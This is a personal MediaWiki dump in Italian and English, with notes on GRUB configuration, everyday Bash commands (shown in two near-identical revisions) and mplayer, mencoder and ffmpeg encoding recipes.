*'''[[Formati di Compressione]]'''
*'''[[KDEactions|Click destro in KDE]]''' ''right-click in KDE , how/t to implement''
*'''[[MPLAYER_MENCODER|Mplayer & Mencoder]]''' ''direct encoding commands from terminal (mplayer mencoder ffmpeg)''
*'''[[MIME Types]]''' ''associare tipi di file a programmi''
*'''[[Kino]]''' ''simple editing software (very simple for end user) ''
*'''[[Audacity]]''' ''Editing audio''
*'''[[skype]]''' ''Skype & VoIP''
*'''[[Kdenlive]]''' ''Montaggio multitraccia per linux''
*'''[[MediaSync]]''' ''framework di gestione materiale multimediale ''
*'''[http://videoteca.webhop.net/ MediaCutter ''(beta)'']'''

===== Some Random Stuff =====
*'''[[converter|CAAP]]''' ''(Conversioni Automatizzate Asincrone in Parallelo) / batch system '''PBS''' ''
*'''[[DB|i database multimediali]]'''
*'''[[Kickstart]]''' ''Installazioni Automatizzate ''
*'''[[Procedimenti]]''' ''Raccolta di procedimenti''
*'''[[OpenVPN]]'''
*'''[[Safe Browsing]]''' ''collection of common or more sophisticated safe browsing tips''
*; Apple
**'''[[Mac]]''' ''OSx''
** '''[[MacDevices]]''' ''using Apple devices on linux''
**'''[[maclinux]]''' ''Linux su MacBook''
**'''[[once upon a time, there was an apple]]'''
|}
|}

== The World Beyond IT==
{| border="0" align="center" width="100%"
|width="30%"|
{|
=== Robotics / Electronics ===
* [[Propulsori Stepper]]
* [[Porta Parallela]]
* [[Micro Controllori PIC]]
* [[Arduino]]

=== Links: ===

* http://foto.alessandrodelgallo.org my photo gallery
* http://videoteeka.com my video gallery software ''(outdated)''
* http://www.youtube.com/user/porcelinux old YouTube channel

* [http://www.mediawiki.org/wiki/Help:FAQ MediaWiki FAQ]
* [http://www.mediawiki.org/wiki/Help:Formatting MediaWiki Help Formatting]

|}
|width="30%"|
{|

=== Languages ===
* [[Italiano]]
** a wonderful dictionary http://www.wordreference.com/
** dizionario etimologico: http://www.etimo.it/
** dizionario italiano http://www.demauro.it/
* [[Spangolo]]
* [[English]]
* [[Olandese]]
** [[living in the nederlands|Living in the Netherlands]]
* [[Deutsch]]
** [[Living in Germany]]

*; [[Documicate]] what is [[documication]] ?

* [[NienteNadaNothing]]
|}
|}

If you liked this wiki and you want to donate, you can use the following Bitcoin or Litecoin addresses. Thank you
*;BTC : 1PKAUX8CcsJCCZX83eT98vSXcvXWnTjoRk
*;LTC : LYbzJsCVmTynaK63CNMne89xKj961jFbWc

GRUB

2024-12-21T11:24:17Z

Porcelinux: /* Grub 2 */

= Grub 2 =
* command that generates and prints out configuration:
grub-mkconfig
* save configuration
grub-mkconfig -o /boot/grub/grub.cfg

* get OS's list of labels
grep ^menuentry /boot/grub2/grub.cfg | cut -d "'" -f2
Fedora
Ubuntu 12.04.2 LTS (12.04)
Gentoo Base System release 2.1
* show actual default entry
grub2-editenv list
saved_entry=Fedora Linux, with Linux 3.6.6-1.fc17.i686.PAE
* alter default entry
grub2-set-default "Gentoo Base System release 2.1"
* check...
grub2-editenv list
saved_entry=Gentoo Base System release 2.1

== Other Operative Systems disappeared ==

From debian 12, an option in grub config will disable the scan for other OS's thus making impossible to boot from them.
how to fix:
* open the config
vi /etc/default/grub
* un-comment or add this line:
GRUB_DISABLE_OS_PROBER=false
* regenerate grub config:
update-grub

= Grub 1.X =

[http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=1&chap=10 Link a una documentazione...]

==== Installing GRUB in the Master Boot Record ====

* Con ''grub-install''
grub-install /dev/hda
o meglio... '''(se si sta installando il sistema)'''
chroot /mnt/sysimage/
** con la directory boot sta nella /
/sbin/grub-install --root-directory=/boot /dev/md1
** con la directory boot è una partizione
/sbin/grub-install --root-directory=/ /dev/md0

* find grub copies:
grub> find /grub/stage1
* or...
grub> find /boot/grub/stage1

* ''grub'' (/usr/sbin/grub)
grub> device (hd0) /dev/sdb (/dev/hdb for ide)
grub> root (hd0,0) (La partizione di boot, Disco 0 Partizione 0)
grub> setup (hd0) (Installa GRUB nel MBR)
grub> quit (Esci dalla shell GRUB)

==== Immagine sfondo grub ====
1. xpm.gz file
2. 640x480
3. 14 colors
4. copiare in /boot/grub
5. gzip myfile.xpm

==== VGA modes ====
| 640x480 800x600 1024x768 1280x1024
----+-------------------------------------
256 | 0x301 0x303 0x305 0x307
32k | 0x310 0x313 0x316 0x319
64k | 0x311 0x314 0x317 0x31A
16M | 0x312 0x315 0x318 0x31B

BASH

2024-08-09T02:44:50Z

Porcelinux: /* Files */

[[Category:Programming-Languages]]

*; Bourne Again SHell (Bash) And GNU

== common shell commands ==
tac:: Reverse lines of files
cat -n:: Numbering lines
cat -b:: Numbering non-blank lines
wc -c:: Counting chars
wc -w:: Counting words
wc -l:: Counting lines
head:: Printing the first lines
tail:: Printing the last lines
uniq:: Make duplicate lines unique
uniq -d:: Print duplicated lines of input
uniq -u:: Remove all duplicated lines
cat -s:: Squeezing blank lines

* Aliases
Un alias serve per associare a un comando una serie di comandi e parametri come segue:
$ alias
alias k1='kill -9 %1'
alias l.='ls -d .* --color=tty'
alias ll='ls -l --color=tty'
alias ls='ls --color=tty'
alias vi='vim'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
alias zombie='ssh -X root@zombie'

== grep ==

* remove comments:
grep -vE '(^[[:space:]]*($|(#|!|;|//)))'

== head / tail ==

a=/file_to_get_the_line_range_from
start=30;
stop=50;
let dur=${stop}-${start};
cat $a |head -${stop}|tail -${end}

== cat ==

* "to cat" a file means the action of opening the file in reading and outputting its contents to terminal.

== tr ==

* convert new line to spaces
tr '\n' ' '

* all lines in one
tr '\n' -d

== less ==
* less +F behaves like doing a "tail -f" but inside less

== permissions ==

* change only ''Directory'' permissions from current directory
find . -type d -exec chmod 775 {} \;

* change only ''File'' permissions from current directory.
find . -type f -exec chmod 664 {} \;

* add a user to a group (appending)
usermod -a -G agroup auser

* set sticky bit etc..
chmod 4511 /usr/sbin/fping
ls -l /usr/sbin/fping
-r-s--x--x 1 root root 31360 Mar 8 11:27 /usr/sbin/fping

* get groups for the user
getent group <groupname>

*Verification Commands:

pwck: verify integrity of password files
grpck: verify integrity of group files
Example: grpck /etc/group

*User admin and other commands:

useradd: Create a new user or update default new user information
usermod: Modify a user account
userdel: Delete a user account and related files
chage: change user password expiry information
pwconv: convert to and from shadow pass- words and groups.
pwunconv: convert to and from shadow pass- words and groups.
grpconv: creates gshadow from group and an optionally existing gshadow
grpunconv: creates group from group and gshadow and then removes gshadow
accton: turns process accounting on or off (Red Hat/Fedora/CentOS)
ac: Prints stats about users connect time (Red Hat/Fedora/CentOS)

== recursive sort ==

* linux:
find . -type f -printf '%T@ %p\n' | sort -n | tail -1 | cut -f2- -d" "

* on BSD
find . -type f -exec stat -f "%m %N" {} \; | sort -n | tail -1 | cut -f2- -d" "

* just find modified files before ONE day from now:
find . -mtime -1

== find ==

* remove all files in the second nested directory matching the name to an md5 string
find . -regextype posix-extended -mindepth 2 -maxdepth 2 -type d -regex '.*[a-f0-9]{32}'

== duplicates ==

=== Files ===

$ fdupes -rcHm /Volume
16583 duplicate files (in 16410 sets), occupying 51282.8 megabytes
$ fdupes -rcHId /Volume

=== Users ===
* user id
getent passwd | cut -d: -f3 | sort -n | uniq -d

* user name
getent passwd | cut -d: -f1 | sort -n | uniq -d

== size ==

* list zero byte files
find . -type f -size 0 | xargs ls -ld

* rename all files and directories in current directory to first character-letter upper case ''"maiuscole"''

for a in *; do echo "$a"; mv "$a" "`echo "$a" | ruby -n -e 'puts $_.capitalize'`" ; done

* list only directories
ls -d */.

== rename ==

* rename all files in a directory replacing white space with underscore:
rename ' ' '_' *

* recursively...
find /tmp/ -depth -name "* *" -execdir rename 's/ /_/g' "{}" \;

== Process id ==

* current pid in a script
$$

== switch ==
case expression in
pattern1 )
statements ;;
...
esac

== Redirection ==

* redirecting standard output and standard error to a file:
commando 2>&1 | tee /tmp/command_output.txt

# Redirige lo stderr allo stdout.
# I messaggi d'errore vengono visualizzati a video, ma come stdout.

i>&j
# Redirige il descrittore di file i in j.
# Tutti gli output del file puntato da i vengono inviati al file
#+ puntato da j.

>&j
# Redirige, per default, il descrittore di file 1 (lo stdout) in j. 81 # Tutti gli stdout vengono inviati al file puntato da j.

0< NOMEFILE
< NOMEFILE
# Riceve l'input da un file.
# È il compagno di ">" e vengono spesso usati insieme.
#
# grep parola-da-cercare <nomefile

[j]<>nomefile
# Apre il file "nomefile" in lettura e scrittura, e gli assegna il
#+ descrittore di file "j".
# Se il file "nomefile" non esiste, lo crea.
# Se il descrittore di file "j" non viene specificato, si assume per
#+ default il df 0, lo stdin.
#
# Una sua applicazione è quella di scrivere in un punto specifico
#+ all'interno di un file.
echo 1234567890 > File # Scrive la stringa in "File".
exec 3<> File # Apre "File" e gli assegna il df 3.
read -n 4 <&3 # Legge solo 4 caratteri.
echo -n . >&3 # Scrive il punto decimale dopo i
#+ caratteri letti.
exec 3>&- # Chiude il df 3.
cat File # ==> 1234.67890
# È l'accesso casuale, diamine.
# Pipe.
# Strumento generico per concatenare processi e comandi.
# Simile a ">", ma con effetti più generali.
# Utile per concatenare comandi, script, file e programmi.
cat *.txt | sort | uniq > file-finale
# Ordina gli output di tutti i file .txt e cancella le righe doppie,
# infine salva il risultato in "file-finale".

* Insert text at the end of a file (appending):
echo "text at the end of file" >> filewhichweappendto.txt
* Insert text at the beginning of a file (prepending):
echo "$(echo 'text that will be added as first line' | cat - filewhichweappendto.txt)" > filewhichweappendto.txt
or
echo -e "text that will be added as first line\n$(cat filewhichweappendto.txt)" > filewhichweappendto.txt
or
sed -i '1s/^/text that will be added as first line\n/' filewhichweappendto.txt

== error messages ==

=== "Insecure directory in $ENV{PATH}" ===
* I got this in a command running in a cron, '''''munin-cron'''''.
* solved adding
PATH=/usr/bin:/bin
into
/etc/cron.d/munin
* having there the full path for every script, path is not really needed, but required from perl scripts called from munin plugins

BASH

2024-08-08T23:10:25Z

Porcelinux: /* duplicates */

[[Category:Programming-Languages]]

*; Bourne Again SHell (Bash) And GNU

== common shell commands ==
tac:: Reverse lines of files
cat -n:: Numbering lines
cat -b:: Numbering non-blank lines
wc -c:: Counting chars
wc -w:: Counting words
wc -l:: Counting lines
head:: Printing the first lines
tail:: Printing the last lines
uniq:: Make duplicate lines unique
uniq -d:: Print duplicated lines of input
uniq -u:: Remove all duplicated lines
cat -s:: Squeezing blank lines

* Aliases
Un alias serve per associare a un comando una serie di comandi e parametri come segue:
$ alias
alias k1='kill -9 %1'
alias l.='ls -d .* --color=tty'
alias ll='ls -l --color=tty'
alias ls='ls --color=tty'
alias vi='vim'
alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'
alias zombie='ssh -X root@zombie'

== grep ==

* remove comments:
grep -vE '(^[[:space:]]*($|(#|!|;|//)))'

== head / tail ==

a=/file_to_get_the_line_range_from
start=30;
stop=50;
let dur=${stop}-${start};
cat $a |head -${stop}|tail -${end}

== cat ==

* "to cat" a file means the action of opening the file in reading and outputting its contents to terminal.

== tr ==

* convert new line to spaces
tr '\n' ' '

* all lines in one
tr '\n' -d

== less ==
* less +F behaves like doing a "tail -f" but inside less

== permissions ==

* change only ''Directory'' permissions from current directory
find . -type d -exec chmod 775 {} \;

* change only ''File'' permissions from current directory.
find . -type f -exec chmod 664 {} \;

* add a user to a group (appending)
usermod -a -G agroup auser

* set sticky bit etc..
chmod 4511 /usr/sbin/fping
ls -l /usr/sbin/fping
-r-s--x--x 1 root root 31360 Mar 8 11:27 /usr/sbin/fping

* get groups for the user
getent group <groupname>

*Verification Commands:

pwck: verify integrity of password files
grpck: verify integrity of group files
Example: grpck /etc/group

*User admin and other commands:

useradd: Create a new user or update default new user information
usermod: Modify a user account
userdel: Delete a user account and related files
chage: change user password expiry information
pwconv: convert to and from shadow pass- words and groups.
pwunconv: convert to and from shadow pass- words and groups.
grpconv: creates gshadow from group and an optionally existing gshadow
grpunconv: creates group from group and gshadow and then removes gshadow
accton: turns process accounting on or off (Red Hat/Fedora/CentOS)
ac: Prints stats about users connect time (Red Hat/Fedora/CentOS)

== recursive sort ==

* linux:
find . -type f -printf '%T@ %p\n' | sort -n | tail -1 | cut -f2- -d" "

* on BSD
find . -type f -exec stat -f "%m %N" {} \; | sort -n | tail -1 | cut -f2- -d" "

* just find modified files before ONE day from now:
find . -mtime -1

== find ==

* remove all files in the second nested directory matching the name to an md5 string
find . -regextype posix-extended -mindepth 2 -maxdepth 2 -type d -regex '.*[a-f0-9]{32}'

== duplicates ==

=== Files ===

$ fdupes -rcHm /Volume
16583 duplicate files (in 16410 sets), occupying 51282.8 megabytes
$ fdupes -rcHI /Volume

=== Users ===
* user id
getent passwd | cut -d: -f3 | sort -n | uniq -d

* user name
getent passwd | cut -d: -f1 | sort -n | uniq -d

== size ==

* list zero byte files
find . -type f -size 0 | xargs ls -ld

* rename all files and directories in current directory to first character-letter upper case ''"maiuscole"''

for a in *; do echo "$a"; mv "$a" "`echo "$a" | ruby -n -e 'puts $_.capitalize'`" ; done

* list only directories
ls -d */.

== rename ==

* rename all files in a directory replacing white space with underscore:
rename ' ' '_' *

* recursively...
find /tmp/ -depth -name "* *" -execdir rename 's/ /_/g' "{}" \;

== Process id ==

* current pid in a script
$$

== switch ==
case expression in
pattern1 )
statements ;;
...
esac

== Redirection ==

* redirecting standard output and standard error to a file:
commando 2>&1 | tee /tmp/command_output.txt

# Redirige lo stderr allo stdout.
# I messaggi d'errore vengono visualizzati a video, ma come stdout.

i>&j
# Redirige il descrittore di file i in j.
# Tutti gli output del file puntato da i vengono inviati al file
#+ puntato da j.

>&j
# Redirige, per default, il descrittore di file 1 (lo stdout) in j. 81 # Tutti gli stdout vengono inviati al file puntato da j.

0< NOMEFILE
< NOMEFILE
# Riceve l'input da un file.
# È il compagno di ">" e vengono spesso usati insieme.
#
# grep parola-da-cercare <nomefile

[j]<>nomefile
# Apre il file "nomefile" in lettura e scrittura, e gli assegna il
#+ descrittore di file "j".
# Se il file "nomefile" non esiste, lo crea.
# Se il descrittore di file "j" non viene specificato, si assume per
#+ default il df 0, lo stdin.
#
# Una sua applicazione è quella di scrivere in un punto specifico
#+ all'interno di un file.
echo 1234567890 > File # Scrive la stringa in "File".
exec 3<> File # Apre "File" e gli assegna il df 3.
read -n 4 <&3 # Legge solo 4 caratteri.
echo -n . >&3 # Scrive il punto decimale dopo i
#+ caratteri letti.
exec 3>&- # Chiude il df 3.
cat File # ==> 1234.67890
# È l'accesso casuale, diamine.
# Pipe.
# Strumento generico per concatenare processi e comandi.
# Simile a ">", ma con effetti più generali.
# Utile per concatenare comandi, script, file e programmi.
cat *.txt | sort | uniq > file-finale
# Ordina gli output di tutti i file .txt e cancella le righe doppie,
# infine salva il risultato in "file-finale".

* Insert text at the end of a file (appending):
echo "text at the end of file" >> filewhichweappendto.txt
* Insert text at the beginning of a file (prepending):
echo "$(echo 'text that will be added as first line' | cat - filewhichweappendto.txt)" > filewhichweappendto.txt
or
echo -e "text that will be added as first line\n$(cat filewhichweappendto.txt)" > filewhichweappendto.txt
or
sed -i '1s/^/text that will be added as first line\n/' filewhichweappendto.txt

== error messages ==

=== "Insecure directory in $ENV{PATH}" ===
* I got this in a command running in a cron, '''''munin-cron'''''.
* solved adding
PATH=/usr/bin:/bin
into
/etc/cron.d/munin
* having there the full path for every script, path is not really needed, but required from perl scripts called from munin plugins

Encoding from command line

2024-08-07T23:44:33Z

Porcelinux: /* Filters */

elwood _musicali # for a in ls ./*.* ; do ffmpeg -y -i "$a" -acodec mp3 -f flv /scratch/`echo "$a"|sed -e s@' '@'_'@g`; done
== Quick commands to Encode/Decode Multimedia files ==
http://www.ffmpeg.org/libavfilter.html
=== DVD ===
==== Rip DVD to DivX ====
# count dvd titles, this example is using 8 of them:
# audio:
mencoder dvd://1 -ovc frameno -o frameno.avi -oac mp3lame -lameopts vbr=3 -alang es -chapter 1-8
# video.
# last command output will suggest a '''vbitrate=xxx''' value:
mencoder dvd://1 -ovc lavc -lavcopts vcodec=mpeg4:vhq:v4mv:vbitrate=1000:vpass=1 -oac copy -o movie.avi -chapter 1-8
mencoder dvd://1 -ovc lavc -lavcopts vcodec=mpeg4:vhq:v4mv:vbitrate=1000:vpass=2 -oac copy -o movie.avi -chapter 1-8
# divx will be movie.avi.
==== Rip DVD generic ====
modo I
mencoder /dev/dvd-hdd -o CINEMA_STRANGE.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4
modo II
~15 Min.
mencoder dvd://1 -ovc frameno -o frameno.avi -oac mp3lame -lameopts vbr=3 -alang es -chapter 1-8
~100 Min.
mencoder dvd://1 -ovc lavc -lavcopts vcodec=mpeg4:vhq:v4mv:vbitrate=1130:vpass=1 -oac copy -o movie.avi -chapter 1-8
mencoder dvd://1 -ovc lavc -lavcopts vcodec=mpeg4:vhq:v4mv:vbitrate=1130:vpass=2 -oac copy -o movie.avi -chapter 1-8
==== DVD 4:3 ====
mencoder -oac lavc -ovc lavc -of mpeg -mpegopts format=dvd -vf scale=720:576 \
-srate 48000 -af lavcresample=48000 -lavcopts vcodec=mpeg2video -ofps 25 \
-o /fileout.mpg /filein.avi
==== PAL Widescreen====
mencoder -of mpeg -mpegopts format=dvd:vaspect=16/9:vframerate=25 -srate 48000 \
-ofps 25 -ovc lavc -oac lavc -lavcopts \
codec=mpeg2video:vrc_buf_size=1835:keyint=15:vrc_maxrate=9800:vbitrate=4900:aspect=16/9:acodec=ac3:abitrate=192 \
-o /fileout.mpeg2 /filein.mpg
==== PAL Fullscreen ====
mencoder -of mpeg -mpegopts format=dvd:vaspect=4/3:vframerate=25 -srate 48000 \
-ofps 25 -ovc lavc -oac lavc -lavcopts \
codec=mpeg2video:vrc_buf_size=1835:keyint=15:vrc_maxrate=9800:vbitrate=4900:aspect=4/3:acodec=ac3:abitrate=192 \
-o /fileout.mpeg2 /filein.mpg
==== Encode DVD title #2, only selected chapters: ====
mencoder dvd://2 -chapter 10-15 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4
==== Encode DVD title #2, resizing to 640x480:====
mencoder dvd://2 -vf scale=640:480 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4
==== Encode DVD title #2, resizing to 512xHHH (keep aspect ratio):====
mencoder dvd://2 -vf scale -zoom -xy 512 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4
==== The same, but with bitrate set to 1800kbit and optimized macroblocks:====
mencoder dvd://2 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mpeg4:mbd=1:vbitrate=1800
==== The same, but with MJPEG compression:====
mencoder dvd://2 -o title2.avi -oac copy -ovc lavc -lavcopts vcodec=mjpeg:mbd=1:vbitrate=1800

ffmpeg -i inputfile.mov -acodec mp2 -ar 44100 -ac 2 -ab 112000 -vcodec mjpeg -qscale 2 output.mpg
----

=== Filters ===

* to add filters to ffmpeg or mencoder command, use the option '''-vf'''

==== Remap ====

|https://trac.ffmpeg.org/wiki/RemapFilter RemapFilter] "remaps the pixels to a new x,y destination based on two files ymap/xmap"

for quad fisheye to equirectangular, 190° lens

ffmpeg -i source.mp4 -vf v360=dfisheye:e:ih_fov=190:iv_fov=190:yaw=0 -y output_file

==== Scale ====
* with '''mencoder'''
mencoder video.mpg -oav copy -ovc copy -vf scale=120:100 -o scaled.mpg

* with '''ffmpeg'''
ffmpeg -i <file> -vf scale=<x>:<y> <file-cropped>

# x and y are pixel values
# If value is 0, the input size is used
# If value is -1, maintains the aspect ratio
#: this can brake the process having the proportional side size not divisible by 2 (x264 codecs)
# default is 0.

===== '''"not divisible by 2"''' (x264 issue) =====

* trying to upscale a video from ''854x480 [PAR 1:1 DAR 427:240]'' to -vf scale=-1:720 , got this message:

'' width or height not divisible by 2 (1281x720)''

* I'm running periodically a [http://videotecahelp.webhop.net script] encoding clips for a [http://videotecahelp.webhop.net video server], using multiple formats for every clip and scaling them respectively to x:360 , x:480 , x:720 , the common " -vf scale:-1:360 " gives "not divisible by 2" error for some input/output sizes, the solution has been found with a formula:

<syntaxhighlight lang="php" >

scale=ceil(a*480)+mod(ceil(a*480)\,2):480

</syntaxhighlight>

* in words: scale the height is proportionally to the new width plus the rest of the division by two of the proportional size. That means that, for example we take a '''480 x 352''' video and we scale it to 360, the new width (without my formula) would have been 491 (giving the codec an error) the formula divides it by 2 and ad adds the rest ( '''''1''''' ) to the output width.

* these are the calculations I've made to reach the solution:

<syntaxhighlight lang="php" >
a = 320 / 240 = 1,3333
scale=ceil(a*XXX):XXX

1080 * 1,3333 = 1439,8 ceil = 1440
720 * 1,3333 = 959,9999 ceil = 960
480 * 1,3333 = 639,9 ceil = 640
360 * 1,3333 = 479,9 ceil = 480

a = 352 / 288 = 1,2222
scale=ceil(a*XXX):XXX

1080 * 1,2222 = 1,319 ceil = 1320
720 * 1,2222 = 879,9999 ceil = 880
480 * 1,2222 = 586,6 ceil = 587 ERR
360 * 1,2222 = 439,9 ceil = 440

a = 480 / 352 = 1,3636
scale=ceil(a*XXX):XXX

1080 * 1,3636 = 1472,6 ceil = 1473 ERR
720 * 1,3636 = 981,7 ceil = 982
480 * 1,3636 = 654,5 ceil = 655 ERR
360 * 1,3636 = 490,8 ceil = 491 ERR

a = 480 / 264 = 1,8181
scale=ceil(a*XXX):XXX

1080 * 1,8181 = 1963,5 ceil = 1964
720 * 1,8181 = 1309,03 ceil = 1310
480 * 1,8181 = 872,6 ceil = 873 ERR
360 * 1,8181 = 654,51 ceil = 655 ERR

# final expression:
scale=ceil(a*480)+mod(ceil(a*480)\,2):480
</syntaxhighlight>

==== Crop ====
mplayer -vf crop=470:350:5:100 "$fileee"

* tagliare un video dal secondo minuto ('''120''') fino a 20 secondi dopo
mencoder -ss '''120''' -endpos '''20''' video.avi -o video_tagliato.avi -ovc lavc

==== Tagliare solo i primi 30 min (1800 sec.)====
mencoder -endpos 1800 rec-CUATRO-20070213-01:30.avi -o /mirror160/_video/__Temp/rec-CUATRO-20070213-01:30_tagliato.avi -ovc copy -oac copy

----

=== Television/Camera ===
==== Registrare dal DVB (Digital Video Broadcasting) ====
* Satellite o digitale terrestre.
mencoder dvb://CUATRO -ovc copy -oac copy -o Film.avi
==== MPEG PES...====
mplayer -vo mpegpes -ao mpegpes -vop lavc=5000:25,expand=688:576:-1:-1:1,scale=688:563 \
-cache 8192 -slave -nolirc -subpos 80 -sub-bg-color 0 -sub-bg-alpha 255 -quiet

==== Guardo la webcam con mplayer ====
* '''v4l2'''
mplayer -cache 128 -tv driver=v4l2:width=800:height=480:outfmt=i420:device=/dev/video0 -vo xv tv://
* '''v4l'''
mplayer tv:// -tv driver=v4l:width=640:height=480:outfmt=rgb24:device=/dev/video0:noaudio -flip

==== recording webcam (old Video4Linux 1) with mencoder...====
* good quality
mencoder tv:// -tv driver=v4l:width=640:height=480:outfmt=rgb24:device=/dev/video0:noaudio -flip \
-o camed.avi -ovc lavc
* or less
mencoder tv:// -tv driver=v4l:width=320:height=240:fps=15:outfmt=rgb24:device=/dev/video0:alsa:forceaudio \
-flip -ofps 11.44 -ovc lavc -lavcopts vcodec=rv10 -oac pcm -noskip -o prova.avi

----

=== Images... ===
==== extract a frame in JPEG ====
* 1° frame
ffmpeg -i <file sorgente> -ss 00:00:00 -t 0.04 -f mjpeg <outputfile.jpg>
==== Generate gif89a (-gif animation) mplayer from a video ====
mplayer mov03331.mpg -loop 0 -vo gif89a:fps=15.0:output=caffe1.gif

==== create a video from image ====

ffmpeg -loop_input -vframes <number_of_frames> -i <input_image> <output_video>

ffmpeg -i INPUT.jpg -an -vcodec libx264 -coder 1 -flags +loop -cmp +chroma -subq 10 -qcomp 0.6 -qmin 10 -qmax 51 -qdiff 4 -flags2 +dct8x8 -trellis 2 -partitions +parti8x8+parti4x4 -crf 24 -threads 0 -r 25 -g 25 -y OUTPUT.mp4

=== Network ===
==== Save a stream ====
mplayer http://mplayer.hq/example.avi -dumpstream -dumpfile dumpato.avi
==== Grabando ,cortando y comprimiendo un stream de tv3====
mplayer "mms://directe.3alacarta.tvcatalunya.com/reflector:60738?aifp=fhgt&WMCache=0" -dumpstream -dumpfile dumpato.avi

mencoder -ss 826.5 dumpato.avi -o dumpato_tagliato.avi -ovc copy -oac copy

mencoder -endpos 108 dumpato_tagliato.avi -o dumpato_montato.avi

mencoder dumpato_montato.avi -o dumpato_copresv.avi -oac copy -ovc lavc -of mpeg -lavcopts vcodec=mpeg2video -ofps 1

==== Fare il dumpo di un stream (TV da internet per esempio) in XVID ====
mencoder mms://sream
-ovc xvid -xvidencopts bitrate=1150 -vf scale=640:480 -oac mp3lame -o fileout.avi
==== ...In DV ====
mencoder timegousbyconloli.avi -ovc libdv -vf scale=720:576 -oac pcm -o timegousbyconlolippp.avi
==== Ascoltare l'audio di mplayer in un host remoto: Vedi [[ESOUND]] ====
* faccio partire il server audio di rete su elwood:
[xunil@elwood ~]$ esd -tcp -port 9876 -public &
[1] 3849
- accepting connections on port 9876
* Apro il video (uno stream in questo caso) specificando host e porta del server audio
[xunil@zombie ~]$ mplayer -ao esd:elwood:9876 mms://rntlivewm.rai.it/_rn24_live_
*così vedo il vido su ''zombie'' e sento l'audio su ''elwood'', cioè vedo dalla cucina e sento dalla camera da letto, non proprio comodo:
* allora trorno in camera, da ''elwood'', e faccio:
[xunil@elwood ~]$ ssh -X zombie mplayer -ao esd:elwood:9876 mms://rntlivewm.rai.it/_rn24_live_
* adesso la situazione è strana, una persona normale, sana non noterebbe differenza tra "fare doppio click" sul video o

==== Mandare l'audio su un altro host (elwood) ====
mplayer -ao esd:elwood:9876 r24-24luglio.avi

----

==== Motion JPEG audio PCM ====
il "2> /dev/null" serve per 'buttare' lo standard error, nel caso qualcosa non funzioni, rimuoverlo dal comando.
mencoder video.avi -oac pcm -ovc lavc -lavcopts vcodec=mjpeg -o MJPEG_video.avi 2> /dev/null

==== Motion PNG (MPNG) ====

mencoder mf://*.png -mf w=800:h=600:fps=25:type=png -ovc copy -oac copy -o output.avi

==== Motion TGA (MTGA) ====

mencoder mf://*.tga -mf w=800:h=600:fps=25:type=tga -ovc copy -oac copy -o output.avi

----

=== WebM ===
* /usr/share/ffmpeg/libvpx-720p.ffpreset

vcodec=libvpx
g=120
rc_lookahead=16
level=216
profile=0
qmax=42
qmin=10
vb=2M
* ignored unless using -pass 2
maxrate=24M
minrate=100k

ffmpeg -i input.mp4 -s 1280x720 -vpre libvpx-720p -b 3900k -pass 1 -an -f webm -y output.webm
ffmpeg -i input.mp4 -s 1280x720 -vpre libvpx-720p -b 3900k -pass 2 -acodec libvorbis -ab 128k -f webm -y output.webm

ffmpeg -pass 1 -passlogfile pr7.webm -qmin 5 -qmax 51 -i master/879.m2t -vcodec libvpx -b:v 104800 -s 320x200 -an -f webm -y NUL
ffmpeg -pass 2 -passlogfile pr7.webm -qmin 5 -qmax 51 -i master/879.m2t -vcodec libvpx -b:v 104800 -s 320x200 -acodec libvorbis -ac 1 -b:a 64k -y video/pr7.webm

ffmpeg -i master/743.MTS -s 360x240 -vpre libvpx-360p -pass 1 -passlogfile log743_7.webm -qmin 5 -qmax 51 -b:v 500k -an -f webm -y video/743_7.webm
ffmpeg -i master/743.MTS -s 360x240 -vpre libvpx-360p -pass 1 -passlogfile log743_7.webm -qmin 5 -qmax 51 -b:v 500k -acodec libvorbis -ac 1 -b:a 96k -f webm -y video/743_7.webm

=== Theora ===
==== Convert TO theora ====
*Examples: (from ffmpeg2theora help)
ffmpeg2theora videoclip.avi (will write output to videoclip.ogv)

ffmpeg2theora videoclip.avi --subtitles subtitles.srt (same, with subtitles)

cat something.dv | ffmpeg2theora -f dv -o output.ogv -

* Encode a series of images:
ffmpeg2theora frame%06d.png -o output.ogv

* Live streaming from V4L Device:
ffmpeg2theora /dev/video0 -f video4linux --inputfps 15 -x 160 -y 128 -o - \
| oggfwd icast2server 8000 password /theora.ogv

* Live encoding from a DV camcorder (needs a fast machine):
dvgrab - | ffmpeg2theora -f dv -x 352 -y 288 -o output.ogv -

* Live encoding and streaming to icecast server:
dvgrab --format raw - \
| ffmpeg2theora -f dv -x 160 -y 128 -o /dev/stdout - \
| oggfwd icast2server 8000 password /theora.ogv

==== Informazioni mandando in Play da MPLAYER ====
Eseguendo il comando che segue , le opzioni '-v -identify' ci posso dare delle informazioni molto utili del video che mandiamo in PLAY:

mplayer -v -identify -aspect 4:3 /root/Desktop/Prova03.avi

==== EXAMPLES OF MENCODER USAGE (from ~$ man mencoder) ====

*Encode all *.jpg files in the current directory:
mencoder "mf://*.jpg" -mf fps=25 -o output.avi -ovc lavc -lavcopts vcodec=mpeg4
*Encode from a tuner (specify a format with -vf format):
mencoder -tv driver=v4l:width=640:height=480 tv:// -o tv.avi -ovc rawnuv

=== MPEG2 M2S MPEGII ===
http://www.mplayerhq.hu/DOCS/HTML/en/index.html
http://forum.doom9.org/archive/index.php/t-110761.html

* ''mencoder''
'''OPZIONI DEMUXER/FLUSSO (STREAM)'''

'''-pvr''' <opzione1:opzione2:...> (solo PVR)
Questa opzione imposta varie proprietà di codifica per il modulo di cattura PVR. Deve essere usata con schede di codifica MPEG via hardware supp-
portate dal driver V4L2. Le schede Hauppauge WinTV PVR-150/250/350/500 e tutte quelle basate su IVTV sono conosciute come schede di cattura PVR.
Attenzione che solamente il kernel Linux 2.6.18 o maggiore è capace di gestire il flusso MPEG attraverso lo strato V4L2. Per la cattura hardware di
un flusso MPEG e la visione attraverso MPlayer/MEncoder, usa ’pvr://’ come URL del filmato.

fmt=<valore>
Seleziona un formato MPEG per la codifica:
ps: MPEG-2 Program Stream (default)
ts: MPEG-2 Transport Stream
mpeg1: MPEG-1 System Stream
vcd: flusso compatibile Video CD
svcd: flusso compatibile Super Video CD
dvd: flusso compatibile DVD

